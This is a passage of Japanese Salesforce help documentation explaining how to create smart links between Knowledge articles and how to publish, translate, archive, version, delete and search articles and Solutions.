4. 必要に応じて、検索する公開状況種別を選択します。
• オンライン (公開状況が選択されていない場合はデフォルト)

• ドラフト
• ドラフト翻訳 (知識ベースで複数の言語がサポートされている場合)

5. 検索バーに記事のキーワードを入力します。
6. 検索バーの端にある検索アイコンをクリックします。

上位 20 件の関連する記事が表示されます。
7. 記事リストから、スマートリンクで参照する記事を選択します。

重要: スマートリンクは、それらが置かれているチャネルに基づきま
す。このため、別のチャネルにある記事にスマートリンクを追加するこ
とはできません。たとえば、公開知識ベースの記事は、内部チャネルで
のみ公開されている記事にはリンクできません。

8. 必要に応じて、[記事に移動] をクリックして別のウィンドウで記事を表示し、正しい参照内容であること
を確認します。

9. 必要に応じて、[対象] タブをクリックし、参照元の記事を表示する場所を選択します。
• 未設定: クリックしたフレームと同じフレームで、リンクされた記事が開きます。
• フレーム: 指定されたフレームで、リンクされた記事が開きます。
• 新規ウィンドウ (_blank): 新しいウィンドウまたはタブで、リンクされた記事が開きます。
• 最上位ウィンドウ (_top): 全画面のウィンドウで、リンクされた記事が開きます。
• 同じウィンドウ (_self): クリックしたフレームと同じフレームで、リンクされた記事が開きます。
• 親ウィンドウ (_parent): 親フレームで、リンクされた記事が開きます。

10. [OK] をクリックします。
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メモ: スマートリンクでは、表示されている数よりも多くの文字が追加されます。文字制限を超えた
ことを示すエラーが表示された場合は、システム管理者に制限の引き上げを依頼してください。

関連トピック:

URL を使用した Salesforce ナレッジ記事へのスマートリンク
Salesforce ナレッジ記事へのスマートリンク
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

URL を使用した Salesforce ナレッジ記事へのスマートリンク

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事を作成する
• 「記事の管理」

および

記事タイプに対する
「参照」および「作
成」

リッチテキストエディタで記事の URL を手動で入力して、ある Salesforce ナレッ
ジ記事から別の記事にスマートリンクを作成します。
記事を作成または編集するときに、リッチテキストエリア項目でスマートリン
クを手動で作成できます。
1. リンクを配置するコンテンツを強調表示するか、カーソルを置きます。
2.

リンクアイコン をクリックします。
3. リンク種別の [URL] を選択します。
4. プロトコル [<その他>] を選択します。
5. 記事の URL を /articles/[language]/[articleType]/[URLName] のよ

うに入力します。
たとえば、複数言語の知識ベース内にある英語の記事で、記事タイプが FAQ

であり、URL 名が About-Passwords である記事の URL

は、/articles/en_US/FAQ/About-Passwords になります。Salesforce ナ
レッジベースで複数の言語がサポートされている場合にのみ、言語を追加し
ます。

重要: スマートリンクは、それらが置かれているチャネルに基づきま
す。このため、別のチャネルにある記事にスマートリンクを追加するこ
とはできません。たとえば、公開知識ベースの記事は、内部チャネルで
のみ公開されている記事にはリンクできません。

6. 必要に応じて、[対象] タブをクリックし、参照元の記事を表示する場所を選
択します。
• 未設定: クリックしたフレームと同じフレームで、リンクされた記事が開

きます。
• フレーム: 指定されたフレームで、リンクされた記事が開きます。
• 新規ウィンドウ (_blank): 新しいウィンドウまたはタブで、リンクされた記事が開きます。
• 最上位ウィンドウ (_top): 全画面のウィンドウで、リンクされた記事が開きます。
• 同じウィンドウ (_self): クリックしたフレームと同じフレームで、リンクされた記事が開きます。
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• 親ウィンドウ (_parent): 親フレームで、リンクされた記事が開きます。

7. [OK] をクリックします。

メモ: スマートリンクでは、表示されている数よりも多くの文字が追加されます。文字制限を超えた
ことを示すエラーが表示された場合は、システム管理者に制限の引き上げを依頼してください。

関連トピック:

検索を使用した Salesforce ナレッジ記事へのスマートリンク
Salesforce ナレッジ記事へのスマートリンク
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

記事および翻訳の公開

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

記事や翻訳を公開すると、選択したすべてのチャネルに表示されます。翻訳の
ある記事を公開した場合は、記事のすべての翻訳も公開されます。
記事または翻訳は、[記事の管理] タブ、あるいは記事または翻訳の詳細ページか
ら公開できます。記事または翻訳を公開するには、記事の記事タイプに対する
公開権限と、「記事を公開」または「翻訳記事の公開」記事アクションの権限
が必要です。
記事を公開するときは、次の点に注意してください。
• 直接公開するか、将来の日付に公開されるようにスケジュールするかを選択

できます。後日公開されるようにスケジュールした記事は、引き続き [ドラ
フト記事] 検索条件に表示されますが、記事タイトルの横に待機中アイコン
( ) が追加されます。このアイコンの上にカーソルを置くと、公開日が表示
されます。

ヒント: スケジュール公開をキャンセルするには、記事または翻訳の詳
細ページか編集ページで [公開をキャンセル] をクリックします。

• 組織で承認プロセスを実装している場合、承認後に記事を公開するときも同
じ権限とアクションが必要です。翻訳には承認プロセスを使用できません。

• 承認プロセスの記事が、すぐに公開するようスケジュールされている場合で
も、公開用のキューに送られることがあります。こうした状況が発生するのは、記事が極めて大きい場合、
有効な言語が多数ある場合、その時点で公開する他の記事が多数ある場合などです。パフォーマンスの問
題を緩和するために、正常に公開可能になるまで記事がキューに入れられますが、通常は数分以内に処理
されます。また、[最終更新者] 項目に、最後に記事を変更したユーザとして [自動化プロセス] が表示され
ます。

• 公開予定のドラフトが現在公開されている記事の作業コピーの場合は、元の記事の新バージョンとして公
開されます。

• 記事および翻訳が以前公開されていた場合は、[新規バージョンとしてフラグ] チェックボックスをオンに
して、選択したチャネルの記事の横に新規記事アイコン ( ) を表示させます。このチャネルの閲覧者は、
この記事を最後に参照した後にこの記事が変更されていることを確認できます。新規記事にはデフォルト
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で新規記事アイコンが表示されるため、このチェックボックスは、記事を初めて公開する場合は使用でき
ません。

• 公開がスケジュールされている記事を割り当てる場合は、スケジュール公開もキャンセルします。
• 公開をスケジュールすると、すべての割り当て情報が削除されます。公開をスケジュールしたユーザは記

事に割り当てられます。
• 複数のエージェントが同じ記事に対して同時に操作を実行すると、競合が発生する場合があります。誰が

最初に操作を実行したかによって、後続のユーザが記事を操作できない場合があります。ただし、記事は
記事リストに一時的に表示されます。こうした記事を処理すると、競合エラーが発生します。

• 「記事を公開」記事アクションの権限があり、記事に承認プロセスが設定されている場合は、[Publish...]ボ
タンと [承認申請] ボタンの両方が表示されます。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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Salesforce ナレッジ内の記事の翻訳

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

翻訳記事を処理する
• 「記事の管理」

および

記事タイプに対する
「作成」、「参照」、
「編集」、または「削
除」(アクションに応じ
て異なる)

組織が Salesforce ナレッジの記事を内部で翻訳する場合は、翻訳の詳細ページか
ら翻訳を入力できます。
翻訳の状況と割り当てられた記事アクションに応じて、翻訳の詳細ページから
次の操作を実行できます。

記事の状況説明アクション

翻訳をアーカイブするに
は、そのマスタ記事を
アーカイブします。

アーカイブを行うと、使
用されなくなった公開記
事は削除され、組織の
Salesforce ナレッジチャネ
ルでエージェントおよび
顧客に表示されなくなり
ます。

アーカイブ

ドラフト翻訳割り当てを行うと、翻訳
の所有者が変更されま
す。

割り当て...

ドラフト翻訳翻訳を完全に削除する
と、その翻訳は知識ベー
スから削除されます。

削除

メモ: ドラフト翻訳
の削除を元に戻す
ことはできませ
ん。

ドラフト翻訳と公開翻訳編集を行うと、翻訳のコ
ンテンツまたはプロパ
ティが変更されます。

編集

ドラフト翻訳と公開翻訳プレビューを行うと、翻
訳がエンドユーザにどの

プレビュー

ように表示されるかが示
されます。

メモ: 投票および
Chatter 情報は、ナ
レッジ記事をプレ
ビューしていると
きには使用できま
せん。
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記事の状況説明アクション

ドラフト翻訳翻訳を公開すると、選択したすべ
てのチャネルに表示されます。

公開...

1. [記事の管理] タブをクリックし、[ビュー] 領域で [翻訳] を選択します。
2. [ドラフト翻訳] を選択します。

メモ: 公開翻訳を編集することもできます。その場合、編集中の翻訳は再公開するまでドラフト状況
に戻されますが、更新中に既存バージョンの公開を続けるように選択することもできます。

3. 必要に応じて、[割り当て先] 検索条件を変更し、自分以外に翻訳が割り当てられている記事を表示できま
す。
たとえば、翻訳キューに割り当てられている記事を表示する場合などがあります。

4. 翻訳する記事と言語の横にある [編集] をクリックします。
5. 翻訳を入力します。
6. [保存] をクリックします。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

記事と翻訳のアーカイブ

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

アーカイブすると、使用されなくなった公開記事と翻訳は削除され、組織の
Salesforce ナレッジチャネルでエージェントおよび顧客には表示されなくなりま
す。
[記事の管理] タブで公開記事と翻訳をアーカイブできます。リアルタイム (即時)

にアーカイブするか、アーカイブをスケジュールするかを選択できます。
現在アーカイブしている記事は、[アーカイブ済み記事] ビューに直接移動しま
す。後でアーカイブするようにスケジュールした記事は、[公開記事] ビューに、
待機中アイコン ( ) が追加された状態で引き続き表示されます。アイコンの上
にカーソルを置くと、アーカイブ日が表示されます。アーカイブ日に、記事は
自動的に [アーカイブ済み記事] ビューに移動します。

メモ:

• 複数のエージェントが同じ記事に対して同時に操作を実行すると、競合
が発生する場合があります。誰が最初に操作を実行したかによって、後
続のユーザが記事を操作できない場合があります。ただし、記事は記事
リストに一時的に表示されます。こうした記事を処理すると、競合エ
ラーが発生します。
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• アーカイブがスケジュールされている公開記事を編集すると、アーカイブもキャンセルされます。
• 記事にドラフトバージョンの公開済みの翻訳がアーカイブにある場合は、ドラフトバージョンが削除

されます。公開翻訳は記事と共にアーカイブされます。

ヒント: スケジュールされたアーカイブをキャンセルするには、記事の詳細ページで [アーカイブのキャ
ンセル] をクリックします。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

Salesforce ナレッジ記事バージョン

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

記事をバージョン管理することで公開済み記事の旧バージョンを保存できるた
め、ケースに関連付けられた記事のバージョンを確認することができます。前
バージョンを保存するには、新しいバージョンを公開するときに [新規バージョ
ンとしてフラグ]チェックボックスをオンにします。公開されていた前バージョ
ンが保存され、新しいバージョンに次のシーケンスバージョン番号が識別子と
して付けられて公開されます。
記事がケースに添付されている場合にその記事の新バージョンが公開されると、
ケースに添付されているバージョンが旧バージョンになります。たとえば、バー
ジョン 2 がケースに添付されている場合に、バージョン 3 が公開されると、ケー
スに添付されている記事は「バージョン 2 (旧)」となります。この表記によっ
て、どのコンテンツがケースに関連付けられていたかを示す永続的なレコード
を得られます。
[記事ビュー]、[記事の詳細]、または [翻訳の詳細] ページでバージョン番号をク
リックすると、[バージョン履歴] リストが表示されます。このリストでは、次の
操作を実行できます。
• アーカイブされたバージョンのリストを表示する。
• タイトルをクリックして、バージョンを表示する。
• バージョンを展開して、項目の変更履歴を表示する (記事タイプや項目の履

歴追跡を有効化している場合)。
デフォルトでは、1 つの記事あたり最大 10 個のバージョンとケースに添付されたすべてのバージョンが保存さ
れます。
複数のバージョンの記事がある場合は、古いバージョンを復元して再発行できます。[ドラフトバージョンに戻
す]をクリックしてアーカイブされたバージョンのコンテンツをドラフト記事にコピーし、新しいバージョン
として再公開します。また、関連付けられている翻訳の古いバージョンを同時に復元することもできます。

メモ: 記事に既存のドラフトがある場合、戻すオプションは使用でません。

[記事の詳細] ページで [このバージョンを削除]を選択すると、古い、期限切れのバージョンの公開記事を削除
することができます。ケースに関連付けられている記事バージョンを削除すると、ケースに添付されなくなり
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ます。翻訳記事のバージョンはマスタ言語の記事に依存します。マスタ言語バージョンが削除されると、翻訳
バージョンも削除されます。
バージョンはカスタムレポートにも表示されるため、ケースに添付された記事バージョンを特定して参照する
ことができます。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

記事と翻訳の削除

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

[記事の管理] タブか、記事または翻訳の詳細ページで記事と翻訳を削除できま
す。完全に削除すると、記事は知識ベースから削除されます。削除できるのは、
ドラフト記事、記事のドラフト翻訳、またはアーカイブ済み記事です。公開記
事または翻訳は削除できません。

メモ:

• 公開記事と翻訳を削除するには、最初に編集またはアーカイブを実行し
て公開から削除します。

• 削除アクセス権がないユーザが公開記事で編集をキャンセルした場合、
新しく作成された記事ドラフトは自動的に削除されません。

記事を削除すると、その記事はごみ箱に移動します。後で必要になった場合は、
そこから記事を復元できます。翻訳を含む記事を削除すると、翻訳もごみ箱に
移動します。ただし、1 つの翻訳を削除すると、復元することはできません。削
除処理と同時に別のユーザまたはシステムが記事または翻訳を変更している場
合は、削除が失敗する可能性があります。その場合は、エラーメッセージが表
示されます。

メモ:

• 複数のエージェントが同じ記事に対して同時に操作を実行すると、競合
が発生する場合があります。誰が最初に操作を実行したかによって、後
続のユーザが記事を操作できない場合があります。ただし、記事は記事
リストに一時的に表示されます。こうした記事を処理すると、競合エ
ラーが発生します。

• 現在公開されている記事の作業コピーであるドラフト記事を削除する
と、公開された元のバージョンには影響ありませんが、ドラフトバー
ジョンが完全に削除されます。このドラフトバージョンはごみ箱には移
動しません。ドラフトコピーで再び作業するには、公開バージョンを編
集できます。
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• 削除アクセス権がないユーザが公開記事の編集をキャンセルした場合、新しく作成された記事ドラフ
トは自動的に削除されません。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

[記事] タブまたは [ナレッジ] タブ

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

Salesforce ナレッジで使用しているタブと、各タブで可能な操作を確認します。
Salesforce ナレッジ記事の検索には、[ナレッジ]タブまたは [記事]タブのいずれか
を使用します。使用するタブは、組織で Salesforce ナレッジの使用を開始した時
期、または [ナレッジ] タブが採用されているかどうかによって異なります。
[ナレッジ] タブ
検索バーがページのメインフレームの一番上に表示される場合は、[ナレッジ] タ
ブで Knowledge One を使用しています。

[ナレッジ] タブでは、以前の [記事] タブと [記事の管理] タブの機能を対応付け、統合検索を使用してすべての
リソースを一度に検索します。[ナレッジ] タブでは、次の操作を実行できます。
• すべての Salesforce ナレッジ記事と、Microsoft® SharePoint® などのすべての外部データソースを検索します。
• 言語およびデータカテゴリで記事を絞り込みます。
• 公開日、評価、参照回数が最多、およびタイトルによって記事を並び替えます。
• [記事を作成] ドロップダウンを使用して記事タイプを選択し、記事を作成します。
• 権限に従って、記事ごとにドロップダウンを使用して、記事をフォローまたはフォロー解除、編集、公開、

および削除します。
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メモ: 記事の権限についての詳細は、「ナレッジ記事へのアクセス」 (ページ3407)を参照してください。

また、ケースフィードを使用する場合、[ナレッジ] タブのレイアウトは記事サイドバーに適用されます。

メモ: 「Knowledge One」権限のないコミュニティメンバーは、コミュニティからナレッジにアクセスでき
ません。また、Salesforce1 モバイルブラウザアプリケーションやダウンロード可能アプリケーションを使
用してコミュニティのナレッジにアクセスすることもできません。

Knowledge One および [ナレッジ] タブに切り替えるには、「Knowledge One」権限をプロファイルまたは権限
セットに追加するようシステム管理者に依頼します。
[記事] タブ
検索バーがページの左側のパネルに表示される場合は、[記事] タブを使用しています。

[記事] タブには、Salesforce ナレッジの公開記事のリストが表示されます。[記事] タブでは、次の操作を実行で
きます。
• 公開記事を検索する
• 公開記事を表示する
• 記事を作成する
• 記事情報の表示方法をカスタマイズする

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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ソリューション

ソリューションの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ソリューションとは、顧客の問題とその問題の解決策を詳細に記述したもので
す。ソリューション管理者、管理者、および適切な権限を持つユーザは、ソ
リューションを作成、レビュー、および公開できます。また、セルフサービス
ポータルにソリューションを公開することもできます。
[ソリューション] タブによって表示されるホームページでは、ソリューションを
簡単に検索したり管理できます。組織でソリューションカテゴリを使用してい
る場合は、カテゴリ別にソリューションを参照および検索できます。標準のリ
ストビューやカスタムのリストビューを使用して、ソリューションを並び替え
たり、検索条件に従って表示したりできます。
管理者と「ソリューションのインポート」権限のあるユーザは、ソリューショ
ンをインポートできます。

メモ: デフォルトでは、ソリューションはテキスト形式で作成および表示します。システム管理者が HTML

ソリューションを有効にすれば、すべてのソリューションを HTML 形式で表示し、HTML エディタで作成で
きるようになります。

関連トピック:

ソリューションホームページ
ソリューションの記述方法のヒント
HTML ソリューションの概要
システム管理者向け設定ガイド: Solutions Implementation Guide (ソリューション実装ガイド)
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ソリューションの検索

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソリューションを参照す
る
• ソリューションに対す

る「参照」

ソリューションは、次の方法で検索できます。
• ケースタブからの検索
• ソリューションタブからの検索
• カテゴリ別ソリューション参照
• グローバル検索を使用した検索
• Salesforce Classic でのカスタムリストビューの作成
ソリューションを検索すると、ソリューションのすべての標準テキスト項目、
および以下のカスタム項目のデータ型が検索されます。
• 自動採番
• テキスト
• テキストエリア
• ロングテキストエリア
• メール
• 電話
• 外部 ID として設定されたすべての項目
ソリューション検索の動作について、以下の動作を認識しておく必要があります。
• ソリューション検索では、キーワードのすべてまたはいずれかを含むソリューションが返されます。たと

えば、「データローダ」を検索すると、「データ」のみ一致、「ローダ」のみ一致、またはこの順序で両
方のキーワードに一致したものが返されます。キーワードを多く含むものや、語句内や前後にキーワード
を含む結果が上位に表示されます。

• ソリューション検索は語幹処理を行うか、または検索語のバリエーションを検索します。たとえば、
「creating」を検索すると、「create」、「created」、および「creating」を含むものソリューションが検索
されます。

• 検索ワイルドカードや演算子を使用すると、より良いソリューション検索の結果が得られます。
• 検索語がソリューションタイトル内の語に一致した場合、そのソリューションが検索結果に表示されます。
• 検索結果の横に丸括弧および角括弧内で表示される数値は、見つかったソリューションの件数です。たと

えば、「トラック」を検索して Truck (35)と表示された場合、組織には条件「Truck」に一致するソリューショ
ンが 35 件あります。

ケースタブからの検索
1. ケース詳細ページで、[ソリューション] 関連リストの [検索] ボックスに、ソリューションに関連するキー

ワードを入力します。クエリには検索用のワイルドカードと演算子を使用できます。
2. ソリューションカテゴリを使用している場合は、検索対象のカテゴリを選択します。
3. [ソリューションの検索] をクリックします。これにより、関連するソリューションのリストが表示されま

す。
• 列のヘッダーをクリックすると、結果を昇順または降順に並び替えることができます。
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並び替えは、後のページにあるデータも含めて、特定のオブジェクトのすべての検索結果に適用さ
れます。

–

– 複数選択リスト項目種別は並び替えることができないため、複数選択リスト項目の列ヘッダーはク
リックできません。

• 組織でマルチ言語ソリューションが有効である場合は、キーワードが一致するすべての言語のソリュー
ションが検索結果として返されます。ただし、1 つの言語から検索した用語は他の言語では処理が異な
るため、すべての言語にわたる検索結果は、信頼できないことがあります。

• ソリューション概要とインラインカテゴリのブレッドクラムが組織で有効になっている場合は、検索結
果に、ソリューションの詳細と、ソリューションが属するカテゴリの経路が最大 150 文字まで表示され
ます。

• HTML ソリューションが有効になっている場合は、タグと画像はすべてソリューションの詳細から削除
されます。

• 推奨ソリューションが有効な場合、[推奨ソリューションの参照]をクリックすると、特定のケースに対
するソリューションごとにキーワードのヒット数、単語の近似性、ケースの類似性、および関連ソリュー
ションなどにより、その関連性を自動的に計算する数式を使用して、関連ソリューションが表示されま
す。

4. 組織で検索結果条件が有効になっている場合、検索結果を絞り込むことができます。該当する結果の関連
リストで [条件を表示] リンクをクリックして、検索条件を入力し、[条件の適用] をクリックします。

ソリューションタブからの検索
1. [ソリューション] タブで、ページ上部にある検索ボックスに、検索したいソリューションに関するキーワー

ドを入力します。クエリには検索用のワイルドカードと演算子を使用できます。
2. ソリューションカテゴリを使用している場合は、検索対象のカテゴリを選択します。
3. [ソリューションの検索]をクリックします。検索結果として、該当するレコードのリストが表示されます。

列のヘッダーをクリックすると、結果を昇順または降順に並び替えることができます。

メモ: 並び替えは、後のページにあるデータも含めて、特定のオブジェクトのすべての検索結果に適
用されます。複数選択リスト項目種別は並び替えることができないため、複数選択リスト項目の列
ヘッダーはクリックできません。

組織でマルチ言語ソリューションが有効である場合は、キーワードが一致するすべての言語のソリューショ
ンが検索結果として返されます。ただし、1 つの言語から検索した用語は他の言語では処理が異なるため、
すべての言語にわたる検索結果は、信頼できないことがあります。ソリューション概要とインラインカテ
ゴリのブレッドクラムが組織で有効になっている場合は、検索結果に、ソリューションの詳細と、ソリュー
ションが属するカテゴリの経路が最大 150 文字まで表示されます。HTML ソリューションが有効になってい
る場合は、タグと画像はすべてソリューションの詳細から削除されます。

4. 組織で検索結果条件が有効になっている場合、検索結果を絞り込むことができます。該当する結果の関連
リストで [条件を表示] リンクをクリックして、検索条件を入力し、[条件の適用] をクリックします。

5. リストからレコードを選択すると、そのレコードを表示します。該当するレコードが見つからない場合は、
ソリューションカテゴリを使用して関連ソリューションを参照します。
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検索結果に表示される項目は、システム管理者が定義した検索レイアウトおよび項目レベルセキュリティ
設定 (Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition のみ利用
可能) によって決まります。

カテゴリ別ソリューション参照
1. [ソリューション] タブの [カテゴリ別にソリューションを参照] セクションで、ソリューションのカテゴリを

クリックして、対象カテゴリおよびそのサブカテゴリのソリューション一覧を表示します。
2. 必要に応じて、ドロップダウンリストを使用して、ソリューションを、カテゴリ別、使用頻度、または更

新順に並び替えます。
3. 結果からレコードを選択すると、そのレコードが表示されます。

グローバル検索を使用した検索
1. ヘッダーの検索ボックスに検索語を入力します。

クエリには検索用のワイルドカードと演算子を使用できます。

2. ドロップダウンから[検索オプション...]を選択し、[ソリューション]を選択して検索結果を絞り込みます。
3. [検索] をクリックします。

関連トピック:

ケースの解決
マルチ言語ソリューションの概要

ソリューションの表示と選択

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソリューションに対する「参照」ソリューションを参照する

ソリューションおよびケースに対する
「参照」

および

ケースに対する「編集」

ケースにソリューションを添付する

ソリューションに対する「編集」未公開のソリューションを変更する

ソリューションに対する「削除」未公開のソリューションを削除する

「公開ソリューションの管理」公開されたソリューションを変更する

「公開ソリューションの管理」公開されたソリューションを削除する
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ソリューションの表示
ケース内から、あるいはソリューションのホームページまたはリストページから検索してソリューション
を表示し、ソリューション名をクリックすると、詳細情報が表示されます。詳細のフロート表示が有効に
なっている場合、詳細ページで参照項目の上にカーソルを置くと、クリックしてレコードの詳細ページに
入る前に、レコードに関する情報を表示できます。

ソリューションの更新とコメントの表示 (Chatter)

ソリューションに関する更新、コメント、および投稿の Chatter フィードを表示します。
ソリューションの選択

ソリューションをケースに添付するには、ソリューションの詳細ページまたは検索結果リストで [選択] を
クリックします。ソリューションは自動的にケースに追加されます。[選択] オプションは、ケース内部か
らソリューションを検索した場合、またはセルフサービスポータルのホームページに追加するソリューショ
ンを検索した場合にのみ使用できます。

未公開のソリューションの編集と削除
ソリューションに対する「編集」権限を持つユーザは、未公開のソリューションを更新できます。[編集]

をクリックし、必要な項目を変更した後、[保存] をクリックします。未公開のソリューションを削除する
には、ソリューションに対する「削除」権限を持つユーザが [削除] ボタンをクリックします。

メモ:  HTML ソリューションが有効になっている組織で、テキスト形式のソリューションを HTML エディ
タで開いて保存した場合は、そのソリューションは HTML ソリューションとなります。

公開されたソリューションの編集と削除
公開ソリューションを編集および削除できるのは、ソリューション管理者やシステム管理者など、「公開
ソリューションの管理」権限を持つユーザに限られます。

ソリューション関連リスト
ソリューションの詳細情報の下には、ソリューションに対する変更の履歴、進行中または完了した活動、
関連ケース、翻訳ソリューション、およびソリューションが属するカテゴリなど、ソリューションに関連
する情報が表示されます。表示される関連リストは、ユーザが行った個人用のカスタマイズ設定、および
管理者が行ったページレイアウトのカスタマイズ設定や関連データに対するユーザの権限によって異なり
ます。

ソリューションの印刷
レコードの詳細の印刷用表示を開くには、ページの右上隅にある [印刷用に表示] をクリックします。

メモ:  HTML ソリューションが有効になっている組織では、[印刷用に表示] で HTML 形式が使われている
ソリューションの詳細がすべて表示されます。

最後に表示したリストページに戻るには、ソリューションの詳細ページの上部にある[最後に開いたビューへ]

をクリックします。折りたたみ可能なセクションを組織が有効にした場合、ユーザは、各詳細ページのセク
ションヘッダーの横にある矢印アイコンを使用して、詳細ページの各セクションを折りたたみまたは拡張しま
す。

関連トピック:

ソリューションの履歴
ソリューションの作成
ソリューションの分類
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ソリューションの一覧表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソリューションリストを
参照する
• ソリューションに対す

る「参照」

ソリューションを作成す
る
• ソリューションに対す

る「作成」

ソリューションを変更す
る
• ソリューションに対す

る「編集」

ソリューションを削除す
る
• ソリューションに対す

る「削除」

[ソリューション] リストページには、現在のビューにおけるソリューションのリ
ストが表示されます。項目の絞り込みリストを表示するには、[表示]ドロップ
ダウンリストから事前定義済みのリストを選択するか、[新規ビューの作成]をク
リックして、自分専用のカスタムビューを定義します。作成したビューを編集
または削除するには、[表示]ドロップダウンリストから選択し、[編集]をクリッ
クします。
• ソリューションタイトルをクリックすると、詳細が表示されます。ソリュー

ションを変更する場合、またはごみ箱に移動する場合は、[編集] または [削
除] をクリックします。

• Chatterが有効な場合、 または をクリックしてChatterフィードでソリュー
ションのフォローを開始または停止します。

• ソリューションを作成するには、[新規ソリューション] をクリックするか、
サイドバーの [新規作成] ドロップダウンリストから、[ソリューション] をク
リックします。

関連トピック:

ソリューションの概要
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ソリューションの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソリューションを作成す
る
• ソリューションに対す

る「作成」

ソリューションは、次の方法で作成できます。
• サイドバーまたは [ソリューション] タブからソリューションを作成する手順

は、次のとおりです。
1. サイドバーの [新規作成] ドロップダウンリストから[ソリューション]を選

択するか、ソリューションのホームページで[最近使ったソリューション]

の横にある [新規] をクリックします。
組織でマルチ言語ソリューションが有効になっている場合は、マスタソ
リューションの [翻訳ソリューション] 関連リストにある[新規]をクリック
して翻訳ソリューションを作成できます。

2. 組織でマルチ言語ソリューションが有効になっている場合は、[言語] 選
択リストからソリューションに使う言語を選択します。
使用できる言語は Salesforce でサポートされている言語です。[言語] 選択
リストからは、マスタソリューションまたはマスタソリューションに関
連付けられている他の翻訳ソリューションですでに使用されている言語
が除外されます。

3. ソリューション名、詳細、およびその他の情報を入力します。

ヒント: ソリューション検索で、検索語がソリューションタイトル内の語に一致した場合、そのソ
リューションが検索結果に表示されます。そのため、検索に使用する可能性の高い関連語と共にソ
リューションのタイトルを書くことをお勧めします。

組織で HTML ソリューションが有効になっている場合、HTML エディタでソリューションの詳細を入力で
きます。HTML エディタでは、ツールバーを使って画像を挿入したり、ソリューション内のテキストや
段落の書式を設定したりできます。

4. [保存] をクリックします。

メモ: HTML ソリューション詳細内の画像は、リストビューとレポートには表示されません。

• ケースをクローズする際に新規のソリューションを作成する手順は、次のとおりです。
1. ケースの詳細ページで [ケースのクローズ]を選択します。ケース編集中の場合は [保存して閉じる]をク

リックします。
2. [ソリューション情報] でタイトルと詳細を入力します。レビューの目的でソリューションをソリュー

ション管理者に提出する場合は、[このソリューションを提出する] チェックボックスをオンにします。
3. [保存] をクリックします。
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ソリューションの記述方法のヒント

関連トピック:

ソリューションのレビュー
ソリューションの分類

ソリューションの記述方法のヒント
ケースの解決中のユーザを支援するためには、優れたソリューションを記述することが重要になります。下記
のガイドラインを検討して、「ソリューションのヒント集」ドキュメントも参照してください。
再利用のしやすさ
• すべての事実と問題の兆候を含める。
• 必要な分析やトラブルシューティングのアイデアをすべて含める。
• 問題について原因と解決法に関する簡潔で正確な説明を含める。
• ソリューションごとに 1 つのケースと 1 つの解決法を含める。解決方法にいくつもの手順がある場合は、

各手順に番号を付けて個別の行に記述します。
• テキストが明確であり、対象者 (カスタマサポートのユーザおよび顧客) を考慮した言語を使用しているこ

とを確認する。
